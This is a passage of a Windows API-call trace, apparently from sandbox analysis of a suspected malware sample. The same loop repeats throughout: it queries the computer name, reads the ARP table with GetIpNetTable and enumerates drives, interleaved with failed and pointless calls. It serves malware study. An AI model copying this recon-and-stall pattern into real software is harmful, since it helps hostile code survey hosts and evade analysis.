	[0050.366] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30d54c8
	[0050.366] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.366] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.366] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.366] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30e2ca8
	[0050.366] GetIpNetTable (in: IpNetTable=0x30e2ca8, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30e2ca8, SizePointer=0xf3d4ac) returned 0x0
	[0050.366] AppendMenuW (hMenu=0x0, uFlags=0x80465368, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.367] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.367] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.367] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.367] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.367] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.367] SetErrorMode (uMode=0x1) returned 0x1
	[0050.367] GetLogicalDrives () returned 0x4
	[0050.367] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.367] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30dd548
	[0050.367] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.367] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.367] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.367] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30e36f8
	[0050.367] GetIpNetTable (in: IpNetTable=0x30e36f8, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30e36f8, SizePointer=0xf3d4ac) returned 0x0
	[0050.368] AppendMenuW (hMenu=0x0, uFlags=0x8047551c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.368] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.368] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.368] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.368] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.368] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.369] SetErrorMode (uMode=0x1) returned 0x1
	[0050.369] GetLogicalDrives () returned 0x4
	[0050.369] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.369] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30d5cd0
	[0050.369] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.369] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.369] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.369] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30e3018
	[0050.369] GetIpNetTable (in: IpNetTable=0x30e3018, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30e3018, SizePointer=0xf3d4ac) returned 0x0
	[0050.370] AppendMenuW (hMenu=0x0, uFlags=0x80482fa8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.370] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.370] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.370] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.370] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.370] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.370] SetErrorMode (uMode=0x1) returned 0x1
	[0050.370] GetLogicalDrives () returned 0x4
	[0050.370] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.370] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30ddd50
	[0050.370] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.370] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.370] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.371] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30e3a68
	[0050.371] GetIpNetTable (in: IpNetTable=0x30e3a68, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30e3a68, SizePointer=0xf3d4ac) returned 0x0
	[0050.371] AppendMenuW (hMenu=0x0, uFlags=0x8049315c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.371] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.371] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.371] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.371] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.371] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.372] SetErrorMode (uMode=0x1) returned 0x1
	[0050.372] GetLogicalDrives () returned 0x4
	[0050.372] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.372] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30e0578
	[0050.372] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.372] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.372] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.372] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30e49e0
	[0050.372] GetIpNetTable (in: IpNetTable=0x30e49e0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30e49e0, SizePointer=0xf3d4ac) returned 0x0
	[0050.373] AppendMenuW (hMenu=0x0, uFlags=0x804a0be8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.373] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.373] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.373] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.373] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.373] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.373] SetErrorMode (uMode=0x1) returned 0x1
	[0050.373] GetLogicalDrives () returned 0x4
	[0050.373] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.373] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30de558
	[0050.373] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.373] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.373] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.373] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30e4300
	[0050.373] GetIpNetTable (in: IpNetTable=0x30e4300, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30e4300, SizePointer=0xf3d4ac) returned 0x0
	[0050.374] AppendMenuW (hMenu=0x0, uFlags=0x804b0d9c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.374] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.374] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.374] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.374] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.374] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.374] SetErrorMode (uMode=0x1) returned 0x1
	[0050.374] GetLogicalDrives () returned 0x4
	[0050.374] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.374] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30ded60
	[0050.374] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.374] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.374] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.375] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30e4148
	[0050.375] GetIpNetTable (in: IpNetTable=0x30e4148, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30e4148, SizePointer=0xf3d4ac) returned 0x0
	[0050.375] AppendMenuW (hMenu=0x0, uFlags=0x804be828, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.375] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.375] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.375] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.375] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.375] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.375] SetErrorMode (uMode=0x1) returned 0x1
	[0050.376] GetLogicalDrives () returned 0x4
	[0050.376] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.376] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30e0d80
	[0050.376] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.376] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.376] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.376] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30e44b8
	[0050.376] GetIpNetTable (in: IpNetTable=0x30e44b8, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30e44b8, SizePointer=0xf3d4ac) returned 0x0
	[0050.376] AppendMenuW (hMenu=0x0, uFlags=0x804ce9dc, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.377] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.377] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.377] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.377] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.377] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.377] SetErrorMode (uMode=0x1) returned 0x1
	[0050.377] GetLogicalDrives () returned 0x4
	[0050.377] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.377] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30df568
	[0050.377] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.377] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.377] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.377] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30e31d0
	[0050.377] GetIpNetTable (in: IpNetTable=0x30e31d0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30e31d0, SizePointer=0xf3d4ac) returned 0x0
	[0050.378] AppendMenuW (hMenu=0x0, uFlags=0x804dc468, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.378] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.378] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.378] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.378] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.378] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.378] SetErrorMode (uMode=0x1) returned 0x1
	[0050.378] GetLogicalDrives () returned 0x4
	[0050.378] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.378] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30dfd70
	[0050.378] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.378] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.378] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.378] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30e3388
	[0050.378] GetIpNetTable (in: IpNetTable=0x30e3388, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30e3388, SizePointer=0xf3d4ac) returned 0x0
	[0050.379] AppendMenuW (hMenu=0x0, uFlags=0x804dc61c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.379] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.379] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.379] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.379] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.379] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.379] SetErrorMode (uMode=0x1) returned 0x1
	[0050.379] GetLogicalDrives () returned 0x4
	[0050.379] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.379] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30e1588
	[0050.379] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.380] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.380] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.380] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30e3540
	[0050.380] GetIpNetTable (in: IpNetTable=0x30e3540, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30e3540, SizePointer=0xf3d4ac) returned 0x0
	[0050.380] AppendMenuW (hMenu=0x0, uFlags=0x804ea0a8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.380] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.380] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.380] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.380] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.381] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.381] SetErrorMode (uMode=0x1) returned 0x1
	[0050.381] GetLogicalDrives () returned 0x4
	[0050.381] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.381] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30e1d90
	[0050.381] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.381] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.381] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.381] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30e4670
	[0050.381] GetIpNetTable (in: IpNetTable=0x30e4670, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30e4670, SizePointer=0xf3d4ac) returned 0x0
	[0050.382] AppendMenuW (hMenu=0x0, uFlags=0x804fa25c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.382] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.382] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.382] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.382] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.382] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.382] SetErrorMode (uMode=0x1) returned 0x1
	[0050.382] GetLogicalDrives () returned 0x4
	[0050.382] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.382] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30e8cf0
	[0050.382] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.382] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.382] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.382] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30e3f90
	[0050.383] GetIpNetTable (in: IpNetTable=0x30e3f90, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30e3f90, SizePointer=0xf3d4ac) returned 0x0
	[0050.383] AppendMenuW (hMenu=0x0, uFlags=0x80507ce8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.383] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.383] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.383] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.383] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.383] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.384] SetErrorMode (uMode=0x1) returned 0x1
	[0050.384] GetLogicalDrives () returned 0x4
	[0050.384] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.384] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30e94f8
	[0050.384] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.384] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.384] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.384] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30e38b0
